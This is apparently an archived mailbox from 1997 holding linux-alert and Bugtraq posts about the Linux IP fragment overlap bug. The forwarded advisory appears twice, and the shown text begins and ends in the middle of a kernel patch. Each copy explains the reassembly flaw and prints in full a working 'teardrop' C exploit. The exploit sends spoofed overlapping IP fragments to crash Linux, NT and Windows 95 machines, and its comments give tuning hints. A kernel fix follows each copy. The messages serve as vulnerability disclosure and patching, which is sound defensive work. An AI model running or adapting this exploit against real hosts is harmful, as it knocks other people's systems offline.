+++ ip_fragment.c.patched Mon Nov 10 19:18:52 1997
@@ -12,6 +12,7 @@
* Alan Cox : Split from ip.c , see ip_input.c for history.
* Alan Cox : Handling oversized frames
* Uriel Maimon : Accounting errors in two fringe cases.
+ * route : IP fragment overlap bug
*/
#include <linux/types.h>
@@ -578,6 +579,22 @@
frag_kfree_s(tmp, sizeof(struct ipfrag));
}
}
+
+ /*
+ * Uh-oh. Some one's playing some park shenanigans on us.
+ * IP fragoverlap-linux-go-b00m bug.
+ * route 11.3.97
+ */
+
+ if (offset > end)
+ {
+ skb->sk = NULL;
+ printk("IP: Invalid IP fragment (offset > end) found from %s\n", in_ntoa(iph->saddr));
+ kfree_skb(skb, FREE_READ);
+ ip_statistics.IpReasmFails++;
+ ip_free(qp);
+ return NULL;
+ }
/*
* Insert this fragment in the chain of fragments.
------[End] -- Helu Linux ----------------------------------------------------
EOF
--
human acquiescence is as easily obtained by terror as by temptation
Return-Path: <linux-alert-request@redhat.com>
Delivered-To: admin@skyway.ru
Received: (qmail 23271 invoked from network); 16 Nov 1997 01:01:36 -0000
Received: from scylla.sovam.com (194.67.2.97)
by sky.tyumen.dial.sovam.com with SMTP; 16 Nov 1997 01:01:36 -0000
Received: by scylla.sovam.com id AA03263
(5.67b8s3p1/IDA-1.5 for admin@skyway.ru); Sun, 16 Nov 1997 03:17:18 +0300
Received: from conjurer.tyumen.ru by scylla.sovam.com with SMTP id AA03235
(5.67b8s3p1/IDA-1.5 for <admin@skyway.ru>); Sun, 16 Nov 1997 03:15:06 +0300
Received: from mail2.redhat.com (mail2.redhat.com [199.183.24.247])
by conjurer.tyumen.ru (8.8.5/8.8.5) with SMTP id FAA09714
for <mc@conjurer.tyumen.ru>; Sun, 16 Nov 1997 05:14:40 +0500 (ES)
Received: (qmail 730 invoked by uid 501); 15 Nov 1997 23:43:31 -0000
Resent-Date: 15 Nov 1997 23:43:30 -0000
Resent-Cc: recipient.list.not.shown: ;
Mbox-Line: From linux-alert-request@redhat.com Sat Nov 15 18:43:10 1997
X-Pop3-Rcpt: t757607@helium
Date: Sat, 15 Nov 1997 10:10:51 -0500 (EST)
From: Greg Alexander <galexand@sietch.bloomington.in.us>
Reply-To: Greg Alexander <galexand@sietch.bloomington.in.us>
To: linux-alert@redhat.com, linux-security@redhat.com
Message-Id: <Pine.LNX.3.96.971115100606.26871C-100000@sietch.sietch.bloomington.in.us>
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Resent-Message-Id: <"caXm83.0.U4.EEZRq"@mail2.redhat.com>
Resent-From: linux-alert@redhat.com
X-Mailing-List: <linux-alert@redhat.com> archive/latest/38
X-Loop: linux-alert@redhat.com
Precedence: list
Resent-Sender: linux-alert-request@redhat.com
Subject: [linux-alert] pentium f00f crash and IP fragment bug crash fixes...
Status:
X-PMFLAGS: 34078848 0
these are both fixed in 2.0.32-pre4 and 2.1.63. The 2.0.32-pre4 stuff seems
very solid, though the f00f bug fix is not proper for SMP machines yet. It
looks like 2.0.32-pre5 fixes the f00f bug on SMP machines properly. All of
these are available on ftp.kernel.org:
ftp://ftp.kernel.org/pub/linux/kernel/testing/pre-patch-2.0.32-5.gzftp://ftp.kernel.org/pub/linux/kernel/v2.1/linux-2.1.63.tgz
Greg Alexander - also <gralexan@indiana.edu> - http://sietch.home.ml.org/
----
Something not being where it should be does not necessitate it being where
it doesn't belong.
-- Really freakin obvious
Return-Path: <linux-alert-request@redhat.com>
Delivered-To: admin@skyway.ru
Received: (qmail 10968 invoked from network); 15 Nov 1997 10:16:35 -0000
Received: from scylla.sovam.com (194.67.2.97)
by sky.tyumen.dial.sovam.com with SMTP; 15 Nov 1997 10:16:35 -0000
Received: by scylla.sovam.com id AA16326
(5.67b8s3p1/IDA-1.5 for admin@skyway.ru); Sat, 15 Nov 1997 11:43:29 +0300
Received: from conjurer.tyumen.ru by scylla.sovam.com with SMTP id AA16289
(5.67b8s3p1/IDA-1.5 for <admin@skyway.ru>); Sat, 15 Nov 1997 11:37:42 +0300
Received: from mail2.redhat.com (mail2.redhat.com [199.183.24.247])
by conjurer.tyumen.ru (8.8.5/8.8.5) with SMTP id NAA23647
for <mc@conjurer.tyumen.ru>; Sat, 15 Nov 1997 13:36:59 +0500 (ES)
Received: (qmail 5859 invoked by uid 501); 15 Nov 1997 07:43:39 -0000
Resent-Date: 15 Nov 1997 07:43:38 -0000
Resent-Cc: recipient.list.not.shown: ;
Mbox-Line: From linux-alert-request@redhat.com Sat Nov 15 02:43:33 1997
X-Pop3-Rcpt: t757607@helium
Date: Fri, 14 Nov 1997 04:56:49 -0500 (EST)
From: Trevor Johnson <trevor@jpj.net>
To: linux-security@redhat.com
Message-Id: <Pine.BSI.3.95.971114045636.13795B-100000@blues.jpj.net>
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Resent-Message-Id: <"iFGpe1.0.kQ1.bALRq"@mail2.redhat.com>
Resent-From: linux-alert@redhat.com
Reply-To: linux-alert@redhat.com
X-Mailing-List: <linux-alert@redhat.com> archive/latest/37
X-Loop: linux-alert@redhat.com
Precedence: list
Resent-Sender: linux-alert-request@redhat.com
Subject: [linux-alert] Linux IP fragment overlap bug (fwd)
Status:
X-PMFLAGS: 34078848 0
---------- Forwarded message ----------
Received: from brimstone.netspace.org (brimstone.netspace.org [128.148.157.143]) by blues.jpj.net (backatcha) with ESMTP id CAA13949; Fri, 14 Nov 1997 02:08:13 -0500 (EST)
Received: from unknown@netspace.org (port 25452 [128.148.157.6]) by brimstone.netspace.org with ESMTP id <818-20257>; Fri, 14 Nov 1997 01:41:22 -0500
Received: from NETSPACE.ORG by NETSPACE.ORG (LISTSERV-TCP/IP release 1.8c) with
spool id 5638206 for BUGTRAQ@NETSPACE.ORG; Fri, 14 Nov 1997 01:35:39
-0500
Received: from brimstone.netspace.org (brimstone.netspace.org
[128.148.157.143]) by netspace.org (8.8.7/8.8.2) with ESMTP id
BAA03848 for <BUGTRAQ@NETSPACE.ORG>; Fri, 14 Nov 1997 01:35:06 -0500
Received: from unknown@netspace.org (port 25452 [128.148.157.6]) by
brimstone.netspace.org with ESMTP id <462-20254>; Fri, 14 Nov 1997
01:35:00 -0500
Approved-By: aleph1@UNDERGROUND.ORG
Received: from resentment.infonexus.com (resentment.infonexus.com
[207.171.209.38]) by netspace.org (8.8.7/8.8.2) with SMTP id BAA01364
for <bugtraq@netspace.org>; Fri, 14 Nov 1997 01:06:04 -0500
Received: (qmail 7022 invoked by uid 501); 14 Nov 1997 06:06:15 -0000
X-Mailer: ELM [version 2.4 PL25]
MIME-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
Message-ID: <19971114060615.7021.qmail@resentment.infonexus.com>
Date: Thu, 13 Nov 1997 22:06:15 -0800
Reply-To: route@RESENTMENT.INFONEXUS.COM
Sender: Bugtraq List <BUGTRAQ@NETSPACE.ORG>
From: G P R <route@RESENTMENT.INFONEXUS.COM>
Subject: Linux IP fragment overlap bug
To: BUGTRAQ@NETSPACE.ORG
Helu.
I wrote this post a while back when the bug was first discovered. It
seems as though this bug (and patch) has gotten out, so here it is, in it's
entirety.
As it happens, Linux has a serious bug in it's IP fragmentation module.
More specifically, in the fragmentation reassembly code. More specifically,
the bug manifests itself in the `ip_glue()` function....
When Linux reassembles IP fragments to form the original IP datagram, it
runs in a loop, copying the payload from all the queued fragments into a newly
allocated buffer (which would then normally be passed to the IP layer proper).
>>From ip_fragment.c@376:
fp = qp->fragments;
while(fp != NULL)
{
if(count+fp->len > skb->len)
{
error_to_big;
}
memcpy((ptr + fp->offset), fp->ptr, fp->len);
count += fp->len;
fp = fp->next;
}
While it does check to see if the fragment length is too large, which would
have the kernel copy too much data, it doesn't check to see if the fragment
length is too small, which would have the kernel copy WAY too data (such is the
case if fp->len is < 0).
To see when this happens, we need to look at how Linux adds IP datagrams
to the reassembly queue. From ip_fragment.c@502:
/*
* Determine the position of this fragment.
*/
end = offset + ntohs(iph->tot_len) - ihl;
Ok. That's nice. Now we have to look at what happens when we have
overlaping fragments... From ip_fragment.c@531:
/*
* We found where to put this one.
* Check for overlap with preceding fragment, and, if needed,
* align things so that any overlaps are eliminated.
*/
if (prev != NULL && offset < prev->end)
{
i = prev->end - offset;
offset += i; /* ptr into datagram */
ptr += i; /* ptr into fragment data */
}
If we find that the current fragment's offset is inside the end of a
previous fragment (overlap), we need to (try) align it correctly. Well, this
is fine and good, unless the payload of the current fragment happens to NOT
contain enough data to cover the realigning. In that case, `offset` will end
up being larger then `end`. These two values are passed to `ip_frag_create()`
where the length of the fragment data is computed. From ip_fragment.c@97:
/* Fill in the structure. */
fp->offset = offset;
fp->end = end;
fp->len = end - offset;
This results in fp->len being negative and the memcpy() at the top will end
up trying to copy entirely too much data, resulting in a reboot or a halt,
depending on how much physical memory you've got.
We can trigger this normally unlikely event by simply sending 2 specially
fragmented IP datagrams. The first is the 0 offset fragment with a payload of
size N, with the MF bit on (data content is irrelevant). The second is the
last fragment (MF == 0) with a positive offset < N and with a payload of < N.
Every linux implementation I have been able to look at seems to have this
problem (1.x - 2.x, including the development kernels).
Oh, by the way, NT/95 appear to have the bug also. Try sending 10 - 15 of
these fragment combos to an NT/95 machine.
Special thanks to klepto for bringing the problem to my attention and
writing the initial exploit.
route|daemon9 route@infonexus.com
------[Begin] -- Guby Linux -------------------------------------------------
/*
* Copyright (c) 1997 route|daemon9 <route@infonexus.com> 11.3.97
*
* Linux/NT/95 Overlap frag bug exploit
*
* Exploits the overlapping IP fragment bug present in all Linux kernels and
* NT 4.0 / Windows 95 (others?)
*
* Based off of: flip.c by klepto
* Compiles on: Linux, *BSD*
*
* gcc -O2 teardrop.c -o teardrop
* OR
* gcc -O2 teardrop.c -o teardrop -DSTRANGE_BSD_BYTE_ORDERING_THING
*/
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <netdb.h>
#include <netinet/in.h>
#include <netinet/udp.h>
#include <arpa/inet.h>
#include <sys/types.h>
#include <sys/time.h>
#include <sys/socket.h>
#ifdef STRANGE_BSD_BYTE_ORDERING_THING
/* OpenBSD < 2.1, all FreeBSD and netBSD, BSDi < 3.0 */
#define FIX(n) (n)
#else /* OpenBSD 2.1, all Linux */
#define FIX(n) htons(n)
#endif /* STRANGE_BSD_BYTE_ORDERING_THING */
#define IP_MF 0x2000 /* More IP fragment en route */
#define IPH 0x14 /* IP header size */
#define UDPH 0x8 /* UDP header size */
#define PADDING 0x1c /* datagram frame padding for first packet */
#define MAGIC 0x3 /* Magic Fragment Constant (tm). Should be 2 or 3 */
#define COUNT 0x1 /* Linux dies with 1, NT is more stalwart and can
* withstand maybe 5 or 10 sometimes... Experiment.
*/
void usage(u_char *);
u_long name_resolve(u_char *);
u_short in_cksum(u_short *, int);
void send_frags(int, u_long, u_long, u_short, u_short);
int main(int argc, char **argv)
{
int one = 1, count = 0, i, rip_sock;
u_long src_ip = 0, dst_ip = 0;
u_short src_prt = 0, dst_prt = 0;
struct in_addr addr;
fprintf(stderr, "teardrop route|daemon9\n\n");
if((rip_sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0)
{
perror("raw socket");
exit(1);
}
if (setsockopt(rip_sock, IPPROTO_IP, IP_HDRINCL, (char *)&one, sizeof(one))
< 0)
{
perror("IP_HDRINCL");
exit(1);
}
if (argc < 3) usage(argv[0]);
if (!(src_ip = name_resolve(argv[1])) || !(dst_ip = name_resolve(argv[2])))
{
fprintf(stderr, "What the hell kind of IP address is that?\n");
exit(1);
}
while ((i = getopt(argc, argv, "s:t:n:")) != EOF)
{
switch (i)
{
case 's': /* source port (should be emphemeral) */
src_prt = (u_short)atoi(optarg);
break;
case 't': /* dest port (DNS, anyone?) */
dst_prt = (u_short)atoi(optarg);
break;
case 'n': /* number to send */
count = atoi(optarg);
break;
default :
usage(argv[0]);
break; /* NOTREACHED */
}
}
srandom((unsigned)(time((time_t)0)));
if (!src_prt) src_prt = (random() % 0xffff);
if (!dst_prt) dst_prt = (random() % 0xffff);
if (!count) count = COUNT;
fprintf(stderr, "Death on flaxen wings:\n");
addr.s_addr = src_ip;
fprintf(stderr, "From: %15s.%5d\n", inet_ntoa(addr), src_prt);
addr.s_addr = dst_ip;
fprintf(stderr, " To: %15s.%5d\n", inet_ntoa(addr), dst_prt);
fprintf(stderr, " Amt: %5d\n", count);
fprintf(stderr, "[ ");
for (i = 0; i < count; i++)
{
send_frags(rip_sock, src_ip, dst_ip, src_prt, dst_prt);
fprintf(stderr, "b00m ");
usleep(500);
}
fprintf(stderr, "]\n");
return (0);
}
/*
* Send two IP fragments with pathological offsets. We use an implementation
* independent way of assembling network packets that does not rely on any of
* the diverse O/S specific nomenclature hinderances (well, linux vs. BSD).
*/
void send_frags(int sock, u_long src_ip, u_long dst_ip, u_short src_prt,
u_short dst_prt)
{
u_char *packet = NULL, *p_ptr = NULL; /* packet pointers */
u_char byte; /* a byte */
struct sockaddr_in sin; /* socket protocol structure */
sin.sin_family = AF_INET;
sin.sin_port = src_prt;
sin.sin_addr.s_addr = dst_ip;
/*
* Grab some memory for our packet, align p_ptr to point at the beginning
* of our packet, and then fill it with zeros.
*/
packet = (u_char *)malloc(IPH + UDPH + PADDING);
p_ptr = packet;
bzero((u_char *)p_ptr, IPH + UDPH + PADDING);
byte = 0x45; /* IP version and header length */
memcpy(p_ptr, &byte, sizeof(u_char));
p_ptr += 2; /* IP TOS (skipped) */
*((u_short *)p_ptr) = FIX(IPH + UDPH + PADDING); /* total length */
p_ptr += 2;
*((u_short *)p_ptr) = htons(242); /* IP id */
p_ptr += 2;
*((u_short *)p_ptr) |= FIX(IP_MF); /* IP frag flags and offset */
p_ptr += 2;
*((u_short *)p_ptr) = 0x40; /* IP TTL */
byte = IPPROTO_UDP;
memcpy(p_ptr + 1, &byte, sizeof(u_char));
p_ptr += 4; /* IP checksum filled in by kernel */
*((u_long *)p_ptr) = src_ip; /* IP source address */
p_ptr += 4;
*((u_long *)p_ptr) = dst_ip; /* IP destination address */
p_ptr += 4;
*((u_short *)p_ptr) = htons(src_prt); /* UDP source port */
p_ptr += 2;
*((u_short *)p_ptr) = htons(dst_prt); /* UDP destination port */
p_ptr += 2;
*((u_short *)p_ptr) = htons(8 + PADDING); /* UDP total length */
if (sendto(sock, packet, IPH + UDPH + PADDING, 0, (struct sockaddr *)&sin,
sizeof(struct sockaddr)) == -1)
{
perror("\nsendto");
free(packet);
exit(1);
}
/* We set the fragment offset to be inside of the previous packet's
* payload (it overlaps inside the previous packet) but do not include
* enough payload to cover complete the datagram. Just the header will
* do, but to crash NT/95 machines, a bit larger of packet seems to work
* better.
*/
p_ptr = &packet[2]; /* IP total length is 2 bytes into the header */
*((u_short *)p_ptr) = FIX(IPH + MAGIC + 1);
p_ptr += 4; /* IP offset is 6 bytes into the header */
*((u_short *)p_ptr) = FIX(MAGIC);
if (sendto(sock, packet, IPH + MAGIC + 1, 0, (struct sockaddr *)&sin,
sizeof(struct sockaddr)) == -1)
{
perror("\nsendto");
free(packet);
exit(1);
}
free(packet);
}
u_long name_resolve(u_char *host_name)
{
struct in_addr addr;
struct hostent *host_ent;
if ((addr.s_addr = inet_addr(host_name)) == -1)
{
if (!(host_ent = gethostbyname(host_name))) return (0);
bcopy(host_ent->h_addr, (char *)&addr.s_addr, host_ent->h_length);
}
return (addr.s_addr);
}
void usage(u_char *name)
{
fprintf(stderr,
"%s src_ip dst_ip [ -s src_prt ] [ -t dst_prt ] [ -n how_many ]\n",
name);
exit(0);
}
/* EOF */
------[End] -- Guby Linux ----------------------------------------------------
And the patch:
------[Begin] -- Helu Linux -------------------------------------------------
--- ip_fragment.c Mon Nov 10 14:58:38 1997
+++ ip_fragment.c.patched Mon Nov 10 19:18:52 1997
@@ -12,6 +12,7 @@
* Alan Cox : Split from ip.c , see ip_input.c for history.
* Alan Cox : Handling oversized frames
* Uriel Maimon : Accounting errors in two fringe cases.
+ * route : IP fragment overlap bug
*/
#include <linux/types.h>
@@ -578,6 +579,22 @@
frag_kfree_s(tmp, sizeof(struct ipfrag));
}
}
+
+ /*
+ * Uh-oh. Some one's playing some park shenanigans on us.
+ * IP fragoverlap-linux-go-b00m bug.
+ * route 11.3.97
+ */
+
+ if (offset > end)
+ {
+ skb->sk = NULL;
+ printk("IP: Invalid IP fragment (offset > end) found from %s\n", in_ntoa(iph->saddr));
+ kfree_skb(skb, FREE_READ);
+ ip_statistics.IpReasmFails++;
+ ip_free(qp);
+ return NULL;
+ }
/*
* Insert this fragment in the chain of fragments.
------[End] -- Helu Linux ----------------------------------------------------
EOF
--
Corporate
Persuasion
Through
Internet
Terrorism.
Return-Path: <linux-alert-request@redhat.com>
Delivered-To: admin@skyway.ru
Received: (qmail 10967 invoked from network); 15 Nov 1997 10:16:35 -0000
Received: from scylla.sovam.com (194.67.2.97)
by sky.tyumen.dial.sovam.com with SMTP; 15 Nov 1997 10:16:35 -0000
Received: by scylla.sovam.com id AA15595
(5.67b8s3p1/IDA-1.5 for admin@skyway.ru); Sat, 15 Nov 1997 11:30:37 +0300
Received: from conjurer.tyumen.ru by scylla.sovam.com with SMTP id AA15585
(5.67b8s3p1/IDA-1.5 for <admin@skyway.ru>); Sat, 15 Nov 1997 11:26:27 +0300
Received: from mail2.redhat.com (mail2.redhat.com [199.183.24.247])
by conjurer.tyumen.ru (8.8.5/8.8.5) with SMTP id NAA23428
for <mc@conjurer.tyumen.ru>; Sat, 15 Nov 1997 13:09:44 +0500 (ES)
Received: (qmail 5859 invoked by uid 501); 15 Nov 1997 07:43:39 -0000
Resent-Date: 15 Nov 1997 07:43:38 -0000
Resent-Cc: recipient.list.not.shown: ;
Mbox-Line: From linux-alert-request@redhat.com Sat Nov 15 02:43:33 1997
X-Pop3-Rcpt: t757607@helium
Date: Fri, 14 Nov 1997 04:56:49 -0500 (EST)
From: Trevor Johnson <trevor@jpj.net>
To: linux-security@redhat.com
Message-Id: <Pine.BSI.3.95.971114045636.13795B-100000@blues.jpj.net>
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Resent-Message-Id: <"iFGpe1.0.kQ1.bALRq"@mail2.redhat.com>
Resent-From: linux-alert@redhat.com
Reply-To: linux-alert@redhat.com
X-Mailing-List: <linux-alert@redhat.com> archive/latest/37
X-Loop: linux-alert@redhat.com
Precedence: list
Resent-Sender: linux-alert-request@redhat.com
Subject: [linux-alert] Linux IP fragment overlap bug (fwd)
Status:
X-PMFLAGS: 34078848 0
---------- Forwarded message ----------
Received: from brimstone.netspace.org (brimstone.netspace.org [128.148.157.143]) by blues.jpj.net (backatcha) with ESMTP id CAA13949; Fri, 14 Nov 1997 02:08:13 -0500 (EST)
Received: from unknown@netspace.org (port 25452 [128.148.157.6]) by brimstone.netspace.org with ESMTP id <818-20257>; Fri, 14 Nov 1997 01:41:22 -0500
Received: from NETSPACE.ORG by NETSPACE.ORG (LISTSERV-TCP/IP release 1.8c) with
spool id 5638206 for BUGTRAQ@NETSPACE.ORG; Fri, 14 Nov 1997 01:35:39
-0500
Received: from brimstone.netspace.org (brimstone.netspace.org
[128.148.157.143]) by netspace.org (8.8.7/8.8.2) with ESMTP id
BAA03848 for <BUGTRAQ@NETSPACE.ORG>; Fri, 14 Nov 1997 01:35:06 -0500
Received: from unknown@netspace.org (port 25452 [128.148.157.6]) by
brimstone.netspace.org with ESMTP id <462-20254>; Fri, 14 Nov 1997
01:35:00 -0500
Approved-By: aleph1@UNDERGROUND.ORG
Received: from resentment.infonexus.com (resentment.infonexus.com
[207.171.209.38]) by netspace.org (8.8.7/8.8.2) with SMTP id BAA01364
for <bugtraq@netspace.org>; Fri, 14 Nov 1997 01:06:04 -0500
Received: (qmail 7022 invoked by uid 501); 14 Nov 1997 06:06:15 -0000
X-Mailer: ELM [version 2.4 PL25]
MIME-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
Message-ID: <19971114060615.7021.qmail@resentment.infonexus.com>
Date: Thu, 13 Nov 1997 22:06:15 -0800
Reply-To: route@RESENTMENT.INFONEXUS.COM
Sender: Bugtraq List <BUGTRAQ@NETSPACE.ORG>
From: G P R <route@RESENTMENT.INFONEXUS.COM>
Subject: Linux IP fragment overlap bug
To: BUGTRAQ@NETSPACE.ORG
Helu.
I wrote this post a while back when the bug was first discovered. It
seems as though this bug (and patch) has gotten out, so here it is, in it's
entirety.
As it happens, Linux has a serious bug in it's IP fragmentation module.
More specifically, in the fragmentation reassembly code. More specifically,
the bug manifests itself in the `ip_glue()` function....
When Linux reassembles IP fragments to form the original IP datagram, it
runs in a loop, copying the payload from all the queued fragments into a newly
allocated buffer (which would then normally be passed to the IP layer proper).
>>From ip_fragment.c@376:
fp = qp->fragments;
while(fp != NULL)
{
if(count+fp->len > skb->len)
{
error_to_big;
}
memcpy((ptr + fp->offset), fp->ptr, fp->len);
count += fp->len;
fp = fp->next;
}
While it does check to see if the fragment length is too large, which would
have the kernel copy too much data, it doesn't check to see if the fragment
length is too small, which would have the kernel copy WAY too data (such is the
case if fp->len is < 0).
To see when this happens, we need to look at how Linux adds IP datagrams
to the reassembly queue. From ip_fragment.c@502:
/*
* Determine the position of this fragment.
*/
end = offset + ntohs(iph->tot_len) - ihl;
Ok. That's nice. Now we have to look at what happens when we have
overlaping fragments... From ip_fragment.c@531:
/*
* We found where to put this one.
* Check for overlap with preceding fragment, and, if needed,
* align things so that any overlaps are eliminated.
*/
if (prev != NULL && offset < prev->end)
{
i = prev->end - offset;
offset += i; /* ptr into datagram */
ptr += i; /* ptr into fragment data */
}
If we find that the current fragment's offset is inside the end of a
previous fragment (overlap), we need to (try) align it correctly. Well, this
is fine and good, unless the payload of the current fragment happens to NOT
contain enough data to cover the realigning. In that case, `offset` will end
up being larger then `end`. These two values are passed to `ip_frag_create()`
where the length of the fragment data is computed. From ip_fragment.c@97:
/* Fill in the structure. */
fp->offset = offset;
fp->end = end;
fp->len = end - offset;
This results in fp->len being negative and the memcpy() at the top will end
up trying to copy entirely too much data, resulting in a reboot or a halt,
depending on how much physical memory you've got.
We can trigger this normally unlikely event by simply sending 2 specially
fragmented IP datagrams. The first is the 0 offset fragment with a payload of
size N, with the MF bit on (data content is irrelevant). The second is the
last fragment (MF == 0) with a positive offset < N and with a payload of < N.
Every linux implementation I have been able to look at seems to have this
problem (1.x - 2.x, including the development kernels).
Oh, by the way, NT/95 appear to have the bug also. Try sending 10 - 15 of
these fragment combos to an NT/95 machine.
Special thanks to klepto for bringing the problem to my attention and
writing the initial exploit.
route|daemon9 route@infonexus.com
------[Begin] -- Guby Linux -------------------------------------------------
/*
* Copyright (c) 1997 route|daemon9 <route@infonexus.com> 11.3.97
*
* Linux/NT/95 Overlap frag bug exploit
*
* Exploits the overlapping IP fragment bug present in all Linux kernels and
* NT 4.0 / Windows 95 (others?)
*
* Based off of: flip.c by klepto
* Compiles on: Linux, *BSD*
*
* gcc -O2 teardrop.c -o teardrop
* OR
* gcc -O2 teardrop.c -o teardrop -DSTRANGE_BSD_BYTE_ORDERING_THING
*/
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <netdb.h>
#include <netinet/in.h>
#include <netinet/udp.h>
#include <arpa/inet.h>
#include <sys/types.h>
#include <sys/time.h>
#include <sys/socket.h>
#ifdef STRANGE_BSD_BYTE_ORDERING_THING
/* OpenBSD < 2.1, all FreeBSD and netBSD, BSDi < 3.0 */
#define FIX(n) (n)
#else /* OpenBSD 2.1, all Linux */
#define FIX(n) htons(n)
#endif /* STRANGE_BSD_BYTE_ORDERING_THING */
#define IP_MF 0x2000 /* More IP fragment en route */
#define IPH 0x14 /* IP header size */
#define UDPH 0x8 /* UDP header size */
#define PADDING 0x1c /* datagram frame padding for first packet */
#define MAGIC 0x3 /* Magic Fragment Constant (tm). Should be 2 or 3 */
#define COUNT 0x1 /* Linux dies with 1, NT is more stalwart and can
* withstand maybe 5 or 10 sometimes... Experiment.
*/
void usage(u_char *);
u_long name_resolve(u_char *);
u_short in_cksum(u_short *, int);
void send_frags(int, u_long, u_long, u_short, u_short);
int main(int argc, char **argv)
{
int one = 1, count = 0, i, rip_sock;
u_long src_ip = 0, dst_ip = 0;
u_short src_prt = 0, dst_prt = 0;
struct in_addr addr;
fprintf(stderr, "teardrop route|daemon9\n\n");
if((rip_sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0)
{
perror("raw socket");
exit(1);
}
if (setsockopt(rip_sock, IPPROTO_IP, IP_HDRINCL, (char *)&one, sizeof(one))
< 0)
{
perror("IP_HDRINCL");
exit(1);
}
if (argc < 3) usage(argv[0]);
if (!(src_ip = name_resolve(argv[1])) || !(dst_ip = name_resolve(argv[2])))
{
fprintf(stderr, "What the hell kind of IP address is that?\n");
exit(1);
}
while ((i = getopt(argc, argv, "s:t:n:")) != EOF)
{
switch (i)
{
case 's': /* source port (should be emphemeral) */
src_prt = (u_short)atoi(optarg);
break;
case 't': /* dest port (DNS, anyone?) */
dst_prt = (u_short)atoi(optarg);
break;
case 'n': /* number to send */
count = atoi(optarg);
break;
default :
usage(argv[0]);
break; /* NOTREACHED */
}
}
srandom((unsigned)(time((time_t)0)));
if (!src_prt) src_prt = (random() % 0xffff);
if (!dst_prt) dst_prt = (random() % 0xffff);
if (!count) count = COUNT;
fprintf(stderr, "Death on flaxen wings:\n");
addr.s_addr = src_ip;
fprintf(stderr, "From: %15s.%5d\n", inet_ntoa(addr), src_prt);
addr.s_addr = dst_ip;
fprintf(stderr, " To: %15s.%5d\n", inet_ntoa(addr), dst_prt);
fprintf(stderr, " Amt: %5d\n", count);
fprintf(stderr, "[ ");
for (i = 0; i < count; i++)
{
send_frags(rip_sock, src_ip, dst_ip, src_prt, dst_prt);
fprintf(stderr, "b00m ");
usleep(500);
}
fprintf(stderr, "]\n");
return (0);
}
/*
* Send two IP fragments with pathological offsets. We use an implementation
* independent way of assembling network packets that does not rely on any of
* the diverse O/S specific nomenclature hinderances (well, linux vs. BSD).
*/
void send_frags(int sock, u_long src_ip, u_long dst_ip, u_short src_prt,
u_short dst_prt)
{
u_char *packet = NULL, *p_ptr = NULL; /* packet pointers */
u_char byte; /* a byte */
struct sockaddr_in sin; /* socket protocol structure */
sin.sin_family = AF_INET;
sin.sin_port = src_prt;
sin.sin_addr.s_addr = dst_ip;
/*
* Grab some memory for our packet, align p_ptr to point at the beginning
* of our packet, and then fill it with zeros.
*/
packet = (u_char *)malloc(IPH + UDPH + PADDING);
p_ptr = packet;
bzero((u_char *)p_ptr, IPH + UDPH + PADDING);
byte = 0x45; /* IP version and header length */
memcpy(p_ptr, &byte, sizeof(u_char));
p_ptr += 2; /* IP TOS (skipped) */
*((u_short *)p_ptr) = FIX(IPH + UDPH + PADDING); /* total length */
p_ptr += 2;
*((u_short *)p_ptr) = htons(242); /* IP id */
p_ptr += 2;
*((u_short *)p_ptr) |= FIX(IP_MF); /* IP frag flags and offset */
p_ptr += 2;
*((u_short *)p_ptr) = 0x40; /* IP TTL */
byte = IPPROTO_UDP;
memcpy(p_ptr + 1, &byte, sizeof(u_char));
p_ptr += 4; /* IP checksum filled in by kernel */
*((u_long *)p_ptr) = src_ip; /* IP source address */
p_ptr += 4;
*((u_long *)p_ptr) = dst_ip; /* IP destination address */
p_ptr += 4;
*((u_short *)p_ptr) = htons(src_prt); /* UDP source port */
p_ptr += 2;
*((u_short *)p_ptr) = htons(dst_prt); /* UDP destination port */
p_ptr += 2;
*((u_short *)p_ptr) = htons(8 + PADDING); /* UDP total length */
if (sendto(sock, packet, IPH + UDPH + PADDING, 0, (struct sockaddr *)&sin,
sizeof(struct sockaddr)) == -1)
{
perror("\nsendto");
free(packet);
exit(1);
}
/* We set the fragment offset to be inside of the previous packet's
* payload (it overlaps inside the previous packet) but do not include
* enough payload to cover complete the datagram. Just the header will
* do, but to crash NT/95 machines, a bit larger of packet seems to work
* better.
*/
p_ptr = &packet[2]; /* IP total length is 2 bytes into the header */
*((u_short *)p_ptr) = FIX(IPH + MAGIC + 1);
p_ptr += 4; /* IP offset is 6 bytes into the header */
*((u_short *)p_ptr) = FIX(MAGIC);
if (sendto(sock, packet, IPH + MAGIC + 1, 0, (struct sockaddr *)&sin,
sizeof(struct sockaddr)) == -1)
{
perror("\nsendto");
free(packet);
exit(1);
}
free(packet);
}
u_long name_resolve(u_char *host_name)
{
struct in_addr addr;
struct hostent *host_ent;
if ((addr.s_addr = inet_addr(host_name)) == -1)
{
if (!(host_ent = gethostbyname(host_name))) return (0);
bcopy(host_ent->h_addr, (char *)&addr.s_addr, host_ent->h_length);
}
return (addr.s_addr);
}
void usage(u_char *name)
{
fprintf(stderr,
"%s src_ip dst_ip [ -s src_prt ] [ -t dst_prt ] [ -n how_many ]\n",
name);
exit(0);
}
/* EOF */
------[End] -- Guby Linux ----------------------------------------------------
And the patch:
------[Begin] -- Helu Linux -------------------------------------------------
--- ip_fragment.c Mon Nov 10 14:58:38 1997
+++ ip_fragment.c.patched Mon Nov 10 19:18:52 1997
@@ -12,6 +12,7 @@
* Alan Cox : Split from ip.c , see ip_input.c for history.
* Alan Cox : Handling oversized frames
* Uriel Maimon : Accounting errors in two fringe cases.
+ * route : IP fragment overlap bug
*/
#include <linux/types.h>
@@ -578,6 +579,22 @@
frag_kfree_s(tmp, sizeof(struct ipfrag));
}
}
+
+ /*
+ * Uh-oh. Some one's playing some park shenanigans on us.
+ * IP fragoverlap-linux-go-b00m bug.
+ * route 11.3.97
+ */
+
+ if (offset > end)
+ {
+ skb->sk = NULL;
+ printk("IP: Invalid IP fragment (offset > end) found from %s\n", in_ntoa(iph->saddr));
+ kfree_skb(skb, FREE_READ);
